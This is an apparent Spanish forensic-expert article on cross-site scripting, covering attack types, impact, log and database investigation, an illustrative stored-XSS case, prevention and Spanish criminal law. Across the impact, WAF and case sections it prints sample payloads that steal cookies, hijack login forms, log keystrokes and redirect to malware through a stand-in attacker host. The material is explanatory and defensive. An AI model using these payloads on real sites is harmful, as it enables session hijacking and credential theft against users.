XSS (Cross-Site Scripting)
Vulnerabilidad de seguridad web que permite a atacantes inyectar scripts maliciosos en páginas vistas por otros usuarios. El análisis forense de XSS investiga ataques, identifica puntos de inyección, y documenta el impacto.
¿Qué es XSS?
XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a atacantes inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. El navegador de la víctima ejecuta el código creyendo que es parte legítima del sitio.
OWASP Top 10
XSS figuró como categoría propia del OWASP Top 10 durante años; desde la edición de 2021 está integrado en Injection, junto a la inyección SQL. Ojo con el identificador, que cambia entre ediciones: era A03 en la de 2021 y es A05 en la de 2025. Citar «A03:2021» en un documento de 2026 delata que no se ha mirado la edición vigente. El cambio de sitio no significa que haya dejado de aparecer: sigue siendo extremadamente común en aplicaciones web.
Tipos de XSS
XSS Reflejado (Reflected)
El script malicioso viene en la URL y se “refleja” en la respuesta:
https://victima.invalid/buscar?q=<script>alert('XSS')</script>La víctima debe hacer clic en un enlace malicioso.
XSS Almacenado (Stored)
El script se guarda en la base de datos y se ejecuta cada vez que se carga la página:
<!-- Comentario guardado en foro -->
<script>document.location='https://atacante.invalid/?c='+document.cookie</script>Todos los usuarios que visitan la página son víctimas.
XSS DOM-Based
La vulnerabilidad está en el código JavaScript del cliente:
// Código vulnerable
document.getElementById("output").innerHTML = location.hash.slice(1);
// URL maliciosa
https://victima.invalid/#<img src=x onerror=alert('XSS')>XSS Almacenado: Más Peligroso
El XSS almacenado es el más peligroso porque no requiere interacción: todos los visitantes de la página afectada son víctimas automáticamente.
Impacto de XSS
Robo de Sesión
// Script inyectado
new Image().src = 'https://atacante.invalid/robar.php?cookie=' + document.cookie;El atacante obtiene la cookie de sesión y puede suplantar al usuario.
Captura de Credenciales
// Modificar formulario de login
document.forms[0].action = 'https://atacante.invalid/captura.php';Keylogging en Navegador
// Capturar todas las pulsaciones
document.onkeypress = function(e) {
new Image().src = 'https://atacante.invalid/log.php?key=' + e.key;
};Distribución de Malware
// Redirigir a descarga maliciosa
if(!localStorage.getItem('infected')) {
localStorage.setItem('infected', '1');
location = 'https://atacante.invalid/malware.exe';
}Análisis Forense de XSS
Identificar punto de inyección: ¿Dónde se insertó el código malicioso?
Analizar logs del servidor: Buscar payloads XSS en parámetros de peticiones.
Revisar base de datos: Para XSS almacenado, buscar contenido malicioso guardado.
Analizar código fuente: Identificar vulnerabilidad que permitió la inyección.
Determinar impacto: ¿Qué datos se robaron? ¿Cuántos usuarios afectados?
Rastrear al atacante: IPs, patrones de ataque, servidor receptor de datos.
Logs de Servidor Web
## Payload XSS reflejado, visible en access.log porque viaja en la query string
203.0.113.7 - - [18/Jan/2026:10:32:15 +0100] "GET /buscar?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
## Decodificado: ?q=<script>alert(1)</script>⚠️ Este recetario NO sirve para el XSS DOM-Based, y esa variante es frecuente —no se da aquí una proporción: la fuente enlazada no publica ninguna—. Cuando el payload viaja en el fragmento (#…), como en el ejemplo de más arriba, el navegador no lo envía al servidor: no aparece en ningún access.log, por completo que sea. Ahí las fuentes son el registro del WAF, la telemetría del navegador o los propios registros de la aplicación si instrumenta el DOM. Buscar en access.log y no encontrar nada no acredita que no hubo XSS.
Indicadores en WAF
Los Web Application Firewalls registran intentos bloqueados:
[XSS Attack Detected] ← formato de ejemplo; cada WAF escribe el suyo
Rule ID: 941100 ← OWASP CRS: "XSS Attack Detected via libinjection"
URI: /comentarios
Parameter: mensaje
Value: <script>document.location='http://atacante.invalid/?c='+document.cookie</script>
Action: BlockedCaso Práctico: Robo de Sesiones
Escenario ilustrativo
El caso de esta sección es un escenario construido sobre una tipología real: muestra qué deja cada fase de un XSS almacenado y con qué fuente se acredita, no relata un expediente concreto. Los identificadores y las cifras son de ejemplo; la técnica sí es exacta.
Escenario
Un foro detecta que múltiples cuentas de usuarios fueron comprometidas.
Investigación Forense
1. Análisis de base de datos
SELECT * FROM comentarios
WHERE contenido LIKE '%<script%' OR contenido LIKE '%onerror=%';Encontrado:
Comentario ID: 45678
Usuario: atacante123
Contenido: "Buen post! <img src=x onerror=fetch('https://atacante.invalid/steal?c='+document.cookie)>"
Fecha: 2026-01-10 14:322. Análisis de logs
## Accesos al post infectado
10/01 14:35 - 192.168.1.50 - GET /foro/post/123 - víctima1
10/01 14:37 - 192.168.1.51 - GET /foro/post/123 - víctima2
...
50+ accesos al post infectado3. Rastreo del atacante
IP origen del comentario: 203.0.113.7 (salida de VPN comercial)
Dominio receptor: el del script inyectado
Antigüedad del registro: dato a extraer del WHOIS en el momento del análisis
— un dominio registrado días antes del ataque es
indicio de preparación, y conviene fecharlo⚠️ document.cookie no ve las cookies marcadas HttpOnly, que es como se emite hoy una cookie de sesión bien configurada. Si el robo funcionó, el informe debe explicar por qué: cookie sin HttpOnly, sesión en localStorage, o exfiltración de otra cosa (tokens en el DOM, contenido de la página). Darlo por hecho es el error que la contraparte va a señalar primero.
4. Impacto determinado
- 50+ sesiones robadas
- 12 cuentas usadas para spam
- 3 cuentas premium comprometidas
- Datos personales expuestos
Qué debe llevar el informe
- Preservación previa: copia de los registros y del contenido almacenado, con SHA-256 y fecha de adquisición, antes de tocar nada. Sin eso, lo demás no es un dictamen: es una descripción
- Descripción técnica de la vulnerabilidad
- Timeline del ataque
- Lista de usuarios afectados
- Análisis del payload malicioso
- Recomendaciones de remediación
Valor del Análisis
El análisis reconstruye qué se inyectó, dónde y a qué sesiones alcanzó. Lo que no da: la identidad del atacante —la IP es de una salida de VPN, y detrás hay que ir con requerimiento judicial al proveedor— ni la certeza de haber contado todas las víctimas, porque solo se ven las sesiones que dejaron rastro en las fuentes disponibles. Un informe que prometa exactitud sobre un universo que no controla se cae en la primera pregunta.
Prevención
Para Desarrolladores
| Técnica | Implementación |
|---|---|
| Escape de salida | Codificar HTML entities |
| Content Security Policy | Header CSP restrictivo |
| HTTPOnly cookies | Cookies no accesibles por JS |
| Input validation | Validar y sanitizar entrada |
Ejemplo de Sanitización
// MAL - Vulnerable
element.innerHTML = userInput;
// BIEN - Seguro
element.textContent = userInput;
// O usar librería de sanitización
element.innerHTML = DOMPurify.sanitize(userInput);Marco Legal
Delitos Aplicables (España)
| Delito | Artículo CP | Aplicación |
|---|---|---|
| Acceso ilícito a un sistema | 197 bis | Acceder al sistema vulnerando sus medidas de seguridad |
| Descubrimiento de secretos / interceptación | 197.1 | Apoderarse de papeles, cartas, mensajes de correo u otros documentos o efectos personales, o interceptar telecomunicaciones, para descubrir secretos o vulnerar la intimidad de otro y sin su consentimiento. Los datos reservados en ficheros son el 197.2, que es otro apartado |
| Daños informáticos | 264 | Borrar, dañar, deteriorar, alterar, suprimir o hacer inaccesibles datos o programas ajenos, sin autorización y de manera grave. Ambos requisitos son del tipo: no basta cualquier alteración |
| Estafa por manipulación informática | 249.1.a) | Exige ánimo de lucro y una manipulación informática o artificio semejante que consiga la transferencia no consentida. La transferencia por sí sola no integra el tipo. La LO 14/2022 lo trasladó aquí desde el antiguo 248.2 |
Responsabilidad del Sitio
Quien explota el sitio puede responder civilmente, pero conviene usar las categorías correctas. El RGPD no habla de «propietario del sitio» sino de responsable y encargado del tratamiento, y su art. 82 exige daño —material o inmaterial— y relación de causalidad con una infracción del Reglamento; no basta con que la medida de seguridad fuera insuficiente. Además, el art. 32 impone medidas apropiadas al riesgo, no unas concretas.
Conclusión
XSS sigue siendo una de las vulnerabilidades web más prevalentes y peligrosas. El análisis forense de ataques XSS requiere examinar logs, bases de datos, y código para identificar el punto de inyección, el impacto, y rastrear al atacante. Para un perito, documentar técnicamente cómo ocurrió el ataque y sus consecuencias es fundamental para procedimientos legales.
¿Sabrías qué demostrar si mañana te lo piden?
La diferencia entre un incidente gestionado y uno sancionado suele estar en qué quedó registrado, no en qué se hizo.
Referencias y fuentes
- OWASP — Cross Site Scripting (XSS). Definición de referencia y taxonomía de las tres variantes.
- OWASP Top 10 — Injection. Desde la edición de 2021 el XSS deja de ser categoría propia y se integra aquí, como A03:2021; en la edición 2025 la misma categoría es A05.
- OWASP Cheat Sheet Series — Cross Site Scripting Prevention. Escape según el contexto de salida. La propia guía advierte de que ninguna técnica aislada resuelve el XSS: combina el escape contextual con validación, política de seguridad de contenido y el uso de marcos que escapan por defecto.
- OWASP Core Rule Set — coreruleset.org. Es el origen de la familia de identificadores
941xxxque aparece en los registros de WAF; el enlace es la portada del proyecto y no permite verificar una regla concreta: para eso hay que abrir su fichero de reglas en el repositorio. - MDN — Using HTTP cookies.
HttpOnly,SecureySameSite, y por quédocument.cookieno ve las primeras. - Código Penal — arts. 197, 197 bis, 249 y 264, BOE.
Última actualización: 2 de septiembre de 2026 Categoría: Seguridad Código: XSS-001
Preguntas Frecuentes
¿Qué puede hacer un atacante con XSS?
Robar cookies de sesión, capturar credenciales, redirigir usuarios a sitios maliciosos, modificar contenido de la página, instalar keyloggers en el navegador, y propagar malware.
¿Es delito explotar una vulnerabilidad XSS?
Puede serlo, pero no de forma automática: explotar un XSS no es por sí solo delito, y cada tipo exige sus elementos. El acceso ilícito a un sistema es el art. 197 bis.1 —no el 197—, y requiere acceder SIN AUTORIZACIÓN y vulnerando las medidas de seguridad. Según lo que se haga después, pueden entrar el art. 197.1 (descubrimiento de secretos), el 264 (daños) o el 249 (estafa informática), cada uno con sus propios requisitos.
¿Cómo se detecta un ataque XSS?
Analizando logs del servidor web, WAF, y código fuente. Las payloads XSS dejan rastros en parámetros de URL, campos de formulario, y bases de datos si es XSS almacenado.
Términos Relacionados
Phishing
Técnica de ingeniería social donde los atacantes suplantan la identidad de entidades legítimas (bancos, empresas, organismos) para engañar a las víctimas y obtener credenciales, datos financieros o instalar malware.
Evidencia Digital
Información digital (archivos, logs, mensajes) con valor probatorio en juicio. Su peso depende de que se pueda sostener su autenticidad e integridad, y la licitud de la obtención se juzga aparte, por el art. 11.1 LOPJ.
Análisis Forense Digital
Conjunto de procedimientos científicos y técnicos para identificar, preservar y analizar evidencias digitales admisibles en juicios civiles, penales o laborales.
¿Necesitas un peritaje forense?
Si necesitas ayuda profesional con análisis forense digital, estoy aquí para ayudarte.
Solicitar Consulta Gratuita
